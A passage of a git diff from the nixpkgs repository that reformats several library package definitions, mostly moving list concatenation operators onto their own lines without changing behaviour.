+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    xvfb-run
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/li/libdbiDrivers/package.nix b/pkgs/by-name/li/libdbiDrivers/package.nix
index 7b8c38174138..d9677e6f1732 100644
--- a/pkgs/by-name/li/libdbiDrivers/package.nix
+++ b/pkgs/by-name/li/libdbiDrivers/package.nix
@@ -21,7 +21,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     libdbi
     sqlite
-  ] ++ lib.optional (libmysqlclient != null) libmysqlclient;
+  ]
+  ++ lib.optional (libmysqlclient != null) libmysqlclient;
 
   patches = [
     # https://sourceforge.net/p/libdbi-drivers/libdbi-drivers/ci/24f48b86c8988ee3aaebc5f303d71e9d789f77b6
@@ -38,30 +39,29 @@ stdenv.mkDerivation rec {
     sed -i '/SQLITE3_LIBS/ s/-lsqlite/-lsqlite3/' configure;
   '';
 
-  configureFlags =
-    [
-      "--sysconfdir=/etc"
-      "--localstatedir=/var"
-      "--disable-docs"
-      "--enable-libdbi"
-      "--with-dbi-incdir=${libdbi}/include"
-      "--with-dbi-libdir=${libdbi}/lib"
-    ]
-    ++ lib.optionals (libmysqlclient != null) [
-      "--with-mysql"
-      "--with-mysql-incdir=${lib.getDev libmysqlclient}/include/mysql"
-      "--with-mysql-libdir=${libmysqlclient}/lib/mysql"
-    ]
-    ++ lib.optionals (sqlite != null) [
-      "--with-sqlite3"
-      "--with-sqlite3-incdir=${sqlite.dev}/include/sqlite"
-      "--with-sqlite3-libdir=${sqlite.out}/lib/sqlite"
-    ]
-    ++ lib.optionals (libpq != null) [
-      "--with-pgsql"
-      "--with-pgsql-incdir=${libpq.dev}/include"
-      "--with-pgsql-libdir=${libpq}/lib/"
-    ];
+  configureFlags = [
+    "--sysconfdir=/etc"
+    "--localstatedir=/var"
+    "--disable-docs"
+    "--enable-libdbi"
+    "--with-dbi-incdir=${libdbi}/include"
+    "--with-dbi-libdir=${libdbi}/lib"
+  ]
+  ++ lib.optionals (libmysqlclient != null) [
+    "--with-mysql"
+    "--with-mysql-incdir=${lib.getDev libmysqlclient}/include/mysql"
+    "--with-mysql-libdir=${libmysqlclient}/lib/mysql"
+  ]
+  ++ lib.optionals (sqlite != null) [
+    "--with-sqlite3"
+    "--with-sqlite3-incdir=${sqlite.dev}/include/sqlite"
+    "--with-sqlite3-libdir=${sqlite.out}/lib/sqlite"
+  ]
+  ++ lib.optionals (libpq != null) [
+    "--with-pgsql"
+    "--with-pgsql-incdir=${libpq.dev}/include"
+    "--with-pgsql-libdir=${libpq}/lib/"
+  ];
 
   env.NIX_CFLAGS_COMPILE = toString (
     lib.optionals stdenv.cc.isClang [
diff --git a/pkgs/by-name/li/libdbusmenu/package.nix b/pkgs/by-name/li/libdbusmenu/package.nix
index 504b1954d068..1bd881db3142 100644
--- a/pkgs/by-name/li/libdbusmenu/package.nix
+++ b/pkgs/by-name/li/libdbusmenu/package.nix
@@ -36,13 +36,13 @@ stdenv.mkDerivation (finalAttrs: {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      glib
-      dbus-glib
-      json-glib
-    ]
-    ++ lib.optional (gtkVersion != null)
+  buildInputs = [
+    glib
+    dbus-glib
+    json-glib
+  ]
+  ++
+    lib.optional (gtkVersion != null)
       {
         "2" = gtk2;
         "3" = gtk3;
@@ -73,7 +73,8 @@ stdenv.mkDerivation (finalAttrs: {
     # TODO use `lib.withFeatureAs`
     (if gtkVersion == null then "--disable-gtk" else "--with-gtk=${gtkVersion}")
     "--disable-scrollkeeper"
-  ] ++ lib.optional (gtkVersion != "2") "--disable-dumper";
+  ]
+  ++ lib.optional (gtkVersion != "2") "--disable-dumper";
 
   doCheck = false; # generates shebangs in check phase, too lazy to fix
 
@@ -96,7 +97,8 @@ stdenv.mkDerivation (finalAttrs: {
     pkgConfigModules = [
       "dbusmenu-glib-0.4"
       "dbusmenu-jsonloader-0.4"
-    ] ++ lib.optional (gtkVersion == "3") "dbusmenu-gtk${gtkVersion}-0.4";
+    ]
+    ++ lib.optional (gtkVersion == "3") "dbusmenu-gtk${gtkVersion}-0.4";
     platforms = platforms.linux;
     maintainers = [ maintainers.msteen ];
   };
diff --git a/pkgs/by-name/li/libdeflate/package.nix b/pkgs/by-name/li/libdeflate/package.nix
index f655b4019349..1793218e2f77 100644
--- a/pkgs/by-name/li/libdeflate/package.nix
+++ b/pkgs/by-name/li/libdeflate/package.nix
@@ -22,7 +22,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   cmakeFlags = [
     "-DLIBDEFLATE_BUILD_TESTS=ON"
-  ] ++ lib.optionals stdenv.hostPlatform.isStatic [ "-DLIBDEFLATE_BUILD_SHARED_LIB=OFF" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [ "-DLIBDEFLATE_BUILD_SHARED_LIB=OFF" ];
 
   nativeBuildInputs = [ cmake ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
   buildInputs = [ zlib ];
diff --git a/pkgs/by-name/li/libdeltachat/package.nix b/pkgs/by-name/li/libdeltachat/package.nix
index affb889faf1b..d419ac7ce59e 100644
--- a/pkgs/by-name/li/libdeltachat/package.nix
+++ b/pkgs/by-name/li/libdeltachat/package.nix
@@ -39,27 +39,25 @@ stdenv.mkDerivation rec {
     hash = "sha256-TmizhgXMYX0hn4GnsL1QiSyMdahebh0QFbk/cOA48jg=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      perl
-      pkg-config
-      rustPlatform.cargoSetupHook
-      cargo
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    cmake
+    perl
+    pkg-config
+    rustPlatform.cargoSetupHook
+    cargo
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
 
-  buildInputs =
-    [
-      openssl
-      sqlcipher
-      sqlite
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+    sqlcipher
+    sqlite
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   nativeCheckInputs = with rustPlatform; [
     cargoCheckHook
diff --git a/pkgs/by-name/li/libdicom/package.nix b/pkgs/by-name/li/libdicom/package.nix
index b23fc37c56f8..c064e6007a30 100644
--- a/pkgs/by-name/li/libdicom/package.nix
+++ b/pkgs/by-name/li/libdicom/package.nix
@@ -36,7 +36,8 @@ stdenv.mkDerivation (finalAttrs: {
     meson
     ninja
     pkg-config
-  ] ++ lib.optionals (finalAttrs.finalPackage.doCheck) [ check ];
+  ]
+  ++ lib.optionals (finalAttrs.finalPackage.doCheck) [ check ];
 
   mesonBuildType = "release";
 
diff --git a/pkgs/by-name/li/libdmapsharing/package.nix b/pkgs/by-name/li/libdmapsharing/package.nix
index 0c6812211f9c..edf11c32e922 100644
--- a/pkgs/by-name/li/libdmapsharing/package.nix
+++ b/pkgs/by-name/li/libdmapsharing/package.nix
@@ -23,14 +23,13 @@ stdenv.mkDerivation rec {
   pname = "libdmapsharing";
   version = "3.9.13";
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals withGtkDoc [
-      "devdoc"
-    ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals withGtkDoc [
+    "devdoc"
+  ];
 
   outputBin = "dev";
 
@@ -44,31 +43,29 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      autoconf
-      automake
-      libtool
-      gtk-doc # gtkdocize
-      pkg-config
-      gobject-introspection
-      vala
-    ]
-    ++ lib.optionals withGtkDoc [
-      docbook-xsl-nons
-      docbook_xml_dtd_43
-    ];
+  nativeBuildInputs = [
+    autoconf
+    automake
+    libtool
+    gtk-doc # gtkdocize
+    pkg-config
+    gobject-introspection
+    vala
+  ]
+  ++ lib.optionals withGtkDoc [
+    docbook-xsl-nons
+    docbook_xml_dtd_43
+  ];
 
-  buildInputs =
-    [
-      avahi
-      gdk-pixbuf
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
-    ]
-    ++ lib.optionals withGtkDoc [
-      gtk-doc
-    ];
+  buildInputs = [
+    avahi
+    gdk-pixbuf
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+  ]
+  ++ lib.optionals withGtkDoc [
+    gtk-doc
+  ];
 
   propagatedBuildInputs = [
     glib
diff --git a/pkgs/by-name/li/libdrm/package.nix b/pkgs/by-name/li/libdrm/package.nix
index 9ddf95cdbc1c..ec0ca411f563 100644
--- a/pkgs/by-name/li/libdrm/package.nix
+++ b/pkgs/by-name/li/libdrm/package.nix
@@ -35,25 +35,25 @@ stdenv.mkDerivation rec {
     ninja
     docutils
   ];
-  buildInputs =
-    [ libpthreadstubs ]
-    ++ lib.optional withIntel libpciaccess
-    ++ lib.optional withValgrind valgrind-light;
+  buildInputs = [
+    libpthreadstubs
+  ]
+  ++ lib.optional withIntel libpciaccess
+  ++ lib.optional withValgrind valgrind-light;
 
-  mesonFlags =
-    [
-      "-Dinstall-test-programs=true"
-      "-Dcairo-tests=disabled"
-      (lib.mesonEnable "intel" withIntel)
-      (lib.mesonEnable "omap" stdenv.hostPlatform.isLinux)
-      (lib.mesonEnable "valgrind" withValgrind)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch [
-      "-Dtegra=enabled"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
-      "-Detnaviv=disabled"
-    ];
+  mesonFlags = [
+    "-Dinstall-test-programs=true"
+    "-Dcairo-tests=disabled"
+    (lib.mesonEnable "intel" withIntel)
+    (lib.mesonEnable "omap" stdenv.hostPlatform.isLinux)
+    (lib.mesonEnable "valgrind" withValgrind)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch [
+    "-Dtegra=enabled"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
+    "-Detnaviv=disabled"
+  ];
 
   passthru = {
     updateScript = gitUpdater {
diff --git a/pkgs/by-name/li/libepoxy/package.nix b/pkgs/by-name/li/libepoxy/package.nix
index 236b97dd0511..20518b12160f 100644
--- a/pkgs/by-name/li/libepoxy/package.nix
+++ b/pkgs/by-name/li/libepoxy/package.nix
@@ -28,19 +28,18 @@ stdenv.mkDerivation (finalAttrs: {
 
   patches = [ ./libgl-path.patch ];
 
-  postPatch =
-    ''
-      patchShebangs src/*.py
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace src/dispatch_common.h --replace-fail "PLATFORM_HAS_GLX 0" "PLATFORM_HAS_GLX 1"
-    ''
-    # cgl_core and cgl_epoxy_api fail in darwin sandbox and on Hydra (because it's headless?)
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace test/meson.build \
-        --replace-fail "[ 'cgl_core', [ 'cgl_core.c' ] ]," "" \
-        --replace-fail "[ 'cgl_epoxy_api', [ 'cgl_epoxy_api.c' ] ]," ""
-    '';
+  postPatch = ''
+    patchShebangs src/*.py
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace src/dispatch_common.h --replace-fail "PLATFORM_HAS_GLX 0" "PLATFORM_HAS_GLX 1"
+  ''
+  # cgl_core and cgl_epoxy_api fail in darwin sandbox and on Hydra (because it's headless?)
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace test/meson.build \
+      --replace-fail "[ 'cgl_core', [ 'cgl_core.c' ] ]," "" \
+      --replace-fail "[ 'cgl_epoxy_api', [ 'cgl_epoxy_api.c' ] ]," ""
+  '';
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/li/libevent/package.nix b/pkgs/by-name/li/libevent/package.nix
index 42c2d2fe120e..d57718c75356 100644
--- a/pkgs/by-name/li/libevent/package.nix
+++ b/pkgs/by-name/li/libevent/package.nix
@@ -46,17 +46,18 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional sslSupport "openssl";
+  ]
+  ++ lib.optional sslSupport "openssl";
   outputBin = "dev";
   propagatedBuildOutputs = [ "out" ] ++ lib.optional sslSupport "openssl";
 
   nativeBuildInputs = [
     updateAutotoolsGnuConfigScriptsHook
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
 
   buildInputs =
-    lib.optional sslSupport openssl
-    ++ lib.optional stdenv.hostPlatform.isCygwin findutils;
+    lib.optional sslSupport openssl ++ lib.optional stdenv.hostPlatform.isCygwin findutils;
 
   doCheck = false; # needs the net
 
diff --git a/pkgs/by-name/li/libewf-legacy/package.nix b/pkgs/by-name/li/libewf-legacy/package.nix
index 4cb9f3c324bf..97063944a33e 100644
--- a/pkgs/by-name/li/libewf-legacy/package.nix
+++ b/pkgs/by-name/li/libewf-legacy/package.nix
@@ -23,7 +23,8 @@ stdenv.mkDerivation (finalAttrs: {
     zlib
     openssl
     libuuid
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ bzip2 ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ bzip2 ];
 
   meta = {
     description = "Legacy library for support of the Expert Witness Compression Format";
diff --git a/pkgs/by-name/li/libewf/package.nix b/pkgs/by-name/li/libewf/package.nix
index 977365863e2f..ad4398490d51 100644
--- a/pkgs/by-name/li/libewf/package.nix
+++ b/pkgs/by-name/li/libewf/package.nix
@@ -23,7 +23,8 @@ stdenv.mkDerivation rec {
     zlib
     openssl
     libuuid
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ bzip2 ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ bzip2 ];
 
   # cannot run test program while cross compiling
   configureFlags = lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
diff --git a/pkgs/by-name/li/libexecinfo/package.nix b/pkgs/by-name/li/libexecinfo/package.nix
index 066a29a580bc..ca6fe44dabf2 100644
--- a/pkgs/by-name/li/libexecinfo/package.nix
+++ b/pkgs/by-name/li/libexecinfo/package.nix
@@ -40,17 +40,16 @@ stdenv.mkDerivation rec {
 
   patchFlags = [ "-p0" ];
 
-  installPhase =
-    ''
-      install -Dm644 execinfo.h stacktraverse.h -t $out/include
-    ''
-    + lib.optionalString enableShared ''
-      install -Dm755 libexecinfo.so.1 -t $out/lib
-      ln -s $out/lib/libexecinfo.so{.1,}
-    ''
-    + lib.optionalString enableStatic ''
-      install -Dm755 libexecinfo.a -t $out/lib
-    '';
+  installPhase = ''
+    install -Dm644 execinfo.h stacktraverse.h -t $out/include
+  ''
+  + lib.optionalString enableShared ''
+    install -Dm755 libexecinfo.so.1 -t $out/lib
+    ln -s $out/lib/libexecinfo.so{.1,}
+  ''
+  + lib.optionalString enableStatic ''
+    install -Dm755 libexecinfo.a -t $out/lib
+  '';
 
   meta = with lib; {
     description = "Quick-n-dirty BSD licensed clone of the GNU libc backtrace facility";
diff --git a/pkgs/by-name/li/libexsid/package.nix b/pkgs/by-name/li/libexsid/package.nix
index e6bd0eb7997f..74fa4db8b818 100644
--- a/pkgs/by-name/li/libexsid/package.nix
+++ b/pkgs/by-name/li/libexsid/package.nix
@@ -25,7 +25,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     autoreconfHook
     pkg-config
-  ] ++ lib.optional docSupport doxygen;
+  ]
+  ++ lib.optional docSupport doxygen;
 
   buildInputs = [ libftdi1 ];
 
diff --git a/pkgs/by-name/li/libfaketime/package.nix b/pkgs/by-name/li/libfaketime/package.nix
index 9eba7b189c1f..2a01df410e13 100644
--- a/pkgs/by-name/li/libfaketime/package.nix
+++ b/pkgs/by-name/li/libfaketime/package.nix
@@ -18,24 +18,23 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-DYRuQmIhQu0CNEboBAtHOr/NnWxoXecuPMSR/UQ/VIQ=";
   };
 
-  patches =
-    [
-      ./nix-store-date.patch
-      (fetchpatch {
-        name = "0001-libfaketime.c-wrap-timespec_get-in-TIME_UTC-macro.patch";
-        url = "https://github.com/wolfcw/libfaketime/commit/e0e6b79568d36a8fd2b3c41f7214769221182128.patch";
-        sha256 = "sha256-KwwP76v0DXNW73p/YBvwUOPdKMAcVdbQSKexD/uFOYo=";
-      })
-      (fetchpatch {
-        name = "LFS64.patch";
-        url = "https://github.com/wolfcw/libfaketime/commit/f32986867addc9d22b0fab29c1c927f079d44ac1.patch";
-        hash = "sha256-fIXuxxcV9J2IcgwcwSrMo4maObkH9WYv1DC/wdtbq/g=";
-      })
-    ]
-    ++ (lib.optionals stdenv.cc.isClang [
-      # https://github.com/wolfcw/libfaketime/issues/277
-      ./0001-Remove-unsupported-clang-flags.patch
-    ]);
+  patches = [
+    ./nix-store-date.patch
+    (fetchpatch {
+      name = "0001-libfaketime.c-wrap-timespec_get-in-TIME_UTC-macro.patch";
+      url = "https://github.com/wolfcw/libfaketime/commit/e0e6b79568d36a8fd2b3c41f7214769221182128.patch";
+      sha256 = "sha256-KwwP76v0DXNW73p/YBvwUOPdKMAcVdbQSKexD/uFOYo=";
+    })
+    (fetchpatch {
+      name = "LFS64.patch";
+      url = "https://github.com/wolfcw/libfaketime/commit/f32986867addc9d22b0fab29c1c927f079d44ac1.patch";
+      hash = "sha256-fIXuxxcV9J2IcgwcwSrMo4maObkH9WYv1DC/wdtbq/g=";
+    })
+  ]
+  ++ (lib.optionals stdenv.cc.isClang [
+    # https://github.com/wolfcw/libfaketime/issues/277
+    ./0001-Remove-unsupported-clang-flags.patch
+  ]);
 
   postPatch = ''
     patchShebangs test src
diff --git a/pkgs/by-name/li/libff/package.nix b/pkgs/by-name/li/libff/package.nix
index 3a48a3145a44..60bcb5e7d63e 100644
--- a/pkgs/by-name/li/libff/package.nix
+++ b/pkgs/by-name/li/libff/package.nix
@@ -22,12 +22,13 @@ stdenv.mkDerivation rec {
     fetchSubmodules = true;
   };
 
-  cmakeFlags =
-    [ "-DWITH_PROCPS=Off" ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      "-DCURVE=ALT_BN128"
-      "-DUSE_ASM=OFF"
-    ];
+  cmakeFlags = [
+    "-DWITH_PROCPS=Off"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    "-DCURVE=ALT_BN128"
+    "-DUSE_ASM=OFF"
+  ];
 
   postPatch = lib.optionalString (!enableStatic) ''
     substituteInPlace libff/CMakeLists.txt --replace "STATIC" "SHARED"
diff --git a/pkgs/by-name/li/libfido2/package.nix b/pkgs/by-name/li/libfido2/package.nix
index f8e75b6acb8b..4b16f803ba6c 100644
--- a/pkgs/by-name/li/libfido2/package.nix
+++ b/pkgs/by-name/li/libfido2/package.nix
@@ -28,14 +28,13 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libcbor
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ hidapi ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ udev ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && withPcsclite) [ pcsclite ];
+  buildInputs = [
+    libcbor
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ hidapi ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ udev ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && withPcsclite) [ pcsclite ];
 
   propagatedBuildInputs = [ openssl ];
 
@@ -45,20 +44,19 @@ stdenv.mkDerivation rec {
     "man"
   ];
 
-  cmakeFlags =
-    [
-      "-DUDEV_RULES_DIR=${placeholder "out"}/etc/udev/rules.d"
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DUSE_HIDAPI=1"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-DNFC_LINUX=1"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && withPcsclite) [
-      "-DUSE_PCSC=1"
-    ];
+  cmakeFlags = [
+    "-DUDEV_RULES_DIR=${placeholder "out"}/etc/udev/rules.d"
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DUSE_HIDAPI=1"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "-DNFC_LINUX=1"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && withPcsclite) [
+    "-DUSE_PCSC=1"
+  ];
 
   # causes possible redefinition of _FORTIFY_SOURCE?
   hardeningDisable = [ "fortify3" ];
diff --git a/pkgs/by-name/li/libfilezilla/package.nix b/pkgs/by-name/li/libfilezilla/package.nix
index d295921204dc..3be32732db6d 100644
--- a/pkgs/by-name/li/libfilezilla/package.nix
+++ b/pkgs/by-name/li/libfilezilla/package.nix
@@ -26,16 +26,15 @@ stdenv.mkDerivation {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      gettext
-      gnutls
-      nettle
-      libxcrypt
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    gettext
+    gnutls
+    nettle
+    libxcrypt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/li/libfixposix/package.nix b/pkgs/by-name/li/libfixposix/package.nix
index db66032af7e8..7dbb03078a04 100644
--- a/pkgs/by-name/li/libfixposix/package.nix
+++ b/pkgs/by-name/li/libfixposix/package.nix
@@ -21,7 +21,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     autoreconfHook
     pkg-config
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ getconf ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ getconf ];
 
   meta = with lib; {
     homepage = "https://github.com/sionescu/libfixposix";
diff --git a/pkgs/by-name/li/libfm/package.nix b/pkgs/by-name/li/libfm/package.nix
index 4ced9fda207a..f536195d36e5 100644
--- a/pkgs/by-name/li/libfm/package.nix
+++ b/pkgs/by-name/li/libfm/package.nix
@@ -45,12 +45,14 @@ stdenv.mkDerivation (finalAttrs: {
     glib
     gtk
     pango
-  ] ++ optional (!extraOnly) menu-cache;
+  ]
+  ++ optional (!extraOnly) menu-cache;
 
-  configureFlags =
-    [ "--sysconfdir=/etc" ]
-    ++ optional extraOnly "--with-extra-only"
-    ++ optional withGtk3 "--with-gtk=3";
+  configureFlags = [
+    "--sysconfdir=/etc"
+  ]
+  ++ optional extraOnly "--with-extra-only"
+  ++ optional withGtk3 "--with-gtk=3";
 
   installFlags = [ "sysconfdir=${placeholder "out"}/etc" ];
 
diff --git a/pkgs/by-name/li/libftdi/package.nix b/pkgs/by-name/li/libftdi/package.nix
index 67e119c811be..f3d493c2acad 100644
--- a/pkgs/by-name/li/libftdi/package.nix
+++ b/pkgs/by-name/li/libftdi/package.nix
@@ -20,7 +20,8 @@ stdenv.mkDerivation rec {
 
   configureFlags = [
     "ac_cv_prog_HAVELIBUSB=${lib.getExe' (lib.getDev libusb-compat-0_1) "libusb-config"}"
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) "--with-async-mode";
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) "--with-async-mode";
 
   # allow async mode. from ubuntu. see:
   #   https://bazaar.launchpad.net/~ubuntu-branches/ubuntu/trusty/libftdi/trusty/view/head:/debian/patches/04_async_mode.diff
diff --git a/pkgs/by-name/li/libftdi1/package.nix b/pkgs/by-name/li/libftdi1/package.nix
index eda5731f57ba..26fc92461391 100644
--- a/pkgs/by-name/li/libftdi1/package.nix
+++ b/pkgs/by-name/li/libftdi1/package.nix
@@ -43,31 +43,29 @@ stdenv.mkDerivation {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ optionals docSupport [
-      doxygen
-      graphviz
-    ]
-    ++ optionals pythonSupport [ swig ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ optionals docSupport [
+    doxygen
+    graphviz
+  ]
+  ++ optionals pythonSupport [ swig ];
 
   buildInputs = [ libconfuse ] ++ optionals cppSupport [ boost ];
 
-  cmakeFlags =
-    [
-      "-DFTDIPP=${onOff cppSupport}"
-      "-DBUILD_TESTS=${onOff cppSupport}"
-      "-DLINK_PYTHON_LIBRARY=${onOff pythonSupport}"
-      "-DPYTHON_BINDINGS=${onOff pythonSupport}"
-      "-DDOCUMENTATION=${onOff docSupport}"
-    ]
-    ++ lib.optionals pythonSupport [
-      "-DPYTHON_EXECUTABLE=${python3.pythonOnBuildForHost.interpreter}"
-      "-DPYTHON_LIBRARY=${python3}/lib/libpython${python3.pythonVersion}${stdenv.hostPlatform.extensions.sharedLibrary}"
-    ];
+  cmakeFlags = [
+    "-DFTDIPP=${onOff cppSupport}"
+    "-DBUILD_TESTS=${onOff cppSupport}"
+    "-DLINK_PYTHON_LIBRARY=${onOff pythonSupport}"
+    "-DPYTHON_BINDINGS=${onOff pythonSupport}"
+    "-DDOCUMENTATION=${onOff docSupport}"
+  ]
+  ++ lib.optionals pythonSupport [
+    "-DPYTHON_EXECUTABLE=${python3.pythonOnBuildForHost.interpreter}"
+    "-DPYTHON_LIBRARY=${python3}/lib/libpython${python3.pythonVersion}${stdenv.hostPlatform.extensions.sharedLibrary}"
+  ];
 
   propagatedBuildInputs = [ libusb1 ];
 
@@ -79,14 +77,13 @@ stdenv.mkDerivation {
       --replace-fail 'GROUP="ftdi"' 'GROUP="ftdi", TAG+="uaccess"'
   '';
 
-  postInstall =
-    ''
-      install -Dm644 ../packages/99-libftdi.rules "$out/etc/udev/rules.d/60-libftdi.rules"
-    ''
-    + optionalString docSupport ''
-      cp -r doc/man "$out/share/"
-      cp -r doc/html "$out/share/doc/libftdi1/"
-    '';
+  postInstall = ''
+    install -Dm644 ../packages/99-libftdi.rules "$out/etc/udev/rules.d/60-libftdi.rules"
+  ''
+  + optionalString docSupport ''
+    cp -r doc/man "$out/share/"
+    cp -r doc/html "$out/share/doc/libftdi1/"
+  '';
 
   meta = with lib; {
     description = "Library to talk to FTDI chips using libusb";
diff --git a/pkgs/by-name/li/libgcrypt/package.nix b/pkgs/by-name/li/libgcrypt/package.nix
index 246b73b992f1..d99f6e0f106b 100644
--- a/pkgs/by-name/li/libgcrypt/package.nix
+++ b/pkgs/by-name/li/libgcrypt/package.nix
@@ -39,22 +39,24 @@ stdenv.mkDerivation rec {
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
 
-  buildInputs =
-    [ libgpg-error ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin gettext
-    ++ lib.optional enableCapabilities libcap;
+  buildInputs = [
+    libgpg-error
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin gettext
+  ++ lib.optional enableCapabilities libcap;
 
   strictDeps = true;
 
-  configureFlags =
-    [ "--with-libgpg-error-prefix=${libgpg-error.dev}" ]
-    ++ lib.optional (
-      stdenv.hostPlatform.isMusl || (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64)
-    ) "--disable-asm" # for darwin see https://dev.gnupg.org/T5157
-    # Fix undefined reference errors with version script under LLVM.
-    ++ lib.optional (
-      stdenv.cc.bintools.isLLVM && lib.versionAtLeast stdenv.cc.bintools.version "17"
-    ) "LDFLAGS=-Wl,--undefined-version";
+  configureFlags = [
+    "--with-libgpg-error-prefix=${libgpg-error.dev}"
+  ]
+  ++ lib.optional (
+    stdenv.hostPlatform.isMusl || (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64)
+  ) "--disable-asm" # for darwin see https://dev.gnupg.org/T5157
+  # Fix undefined reference errors with version script under LLVM.
+  ++ lib.optional (
+    stdenv.cc.bintools.isLLVM && lib.versionAtLeast stdenv.cc.bintools.version "17"
+  ) "LDFLAGS=-Wl,--undefined-version";
 
   # Necessary to generate correct assembly when compiling for aarch32 on
   # aarch64
@@ -72,20 +74,19 @@ stdenv.mkDerivation rec {
 
   # Make sure libraries are correct for .pc and .la files
   # Also make sure includes are fixed for callers who don't use libgpgcrypt-config
-  postFixup =
-    ''
-      sed -i 's,#include <gpg-error.h>,#include "${libgpg-error.dev}/include/gpg-error.h",g' "$dev/include/gcrypt.h"
-    ''
-    # The `libgcrypt-config` script references $dev and in the $dev output, the
-    # stdenv automagically puts the $bin output into propagatedBuildInputs. This
-    # would cause a cycle. This is a weird tool anyways, so let's stuff it in $dev
-    # instead.
-    + ''
-      moveToOutput bin/libgcrypt-config $dev
-    ''
-    + lib.optionalString enableCapabilities ''
-      sed -i 's,\(-lcap\),-L${libcap.lib}/lib \1,' $lib/lib/libgcrypt.la
-    '';
+  postFixup = ''
+    sed -i 's,#include <gpg-error.h>,#include "${libgpg-error.dev}/include/gpg-error.h",g' "$dev/include/gcrypt.h"
+  ''
+  # The `libgcrypt-config` script references $dev and in the $dev output, the
+  # stdenv automagically puts the $bin output into propagatedBuildInputs. This
+  # would cause a cycle. This is a weird tool anyways, so let's stuff it in $dev
+  # instead.
+  + ''
+    moveToOutput bin/libgcrypt-config $dev
+  ''
+  + lib.optionalString enableCapabilities ''
+    sed -i 's,\(-lcap\),-L${libcap.lib}/lib \1,' $lib/lib/libgcrypt.la
+  '';
 
   # TODO: figure out why this is even necessary and why the missing dylib only crashes
   # random instead of every test
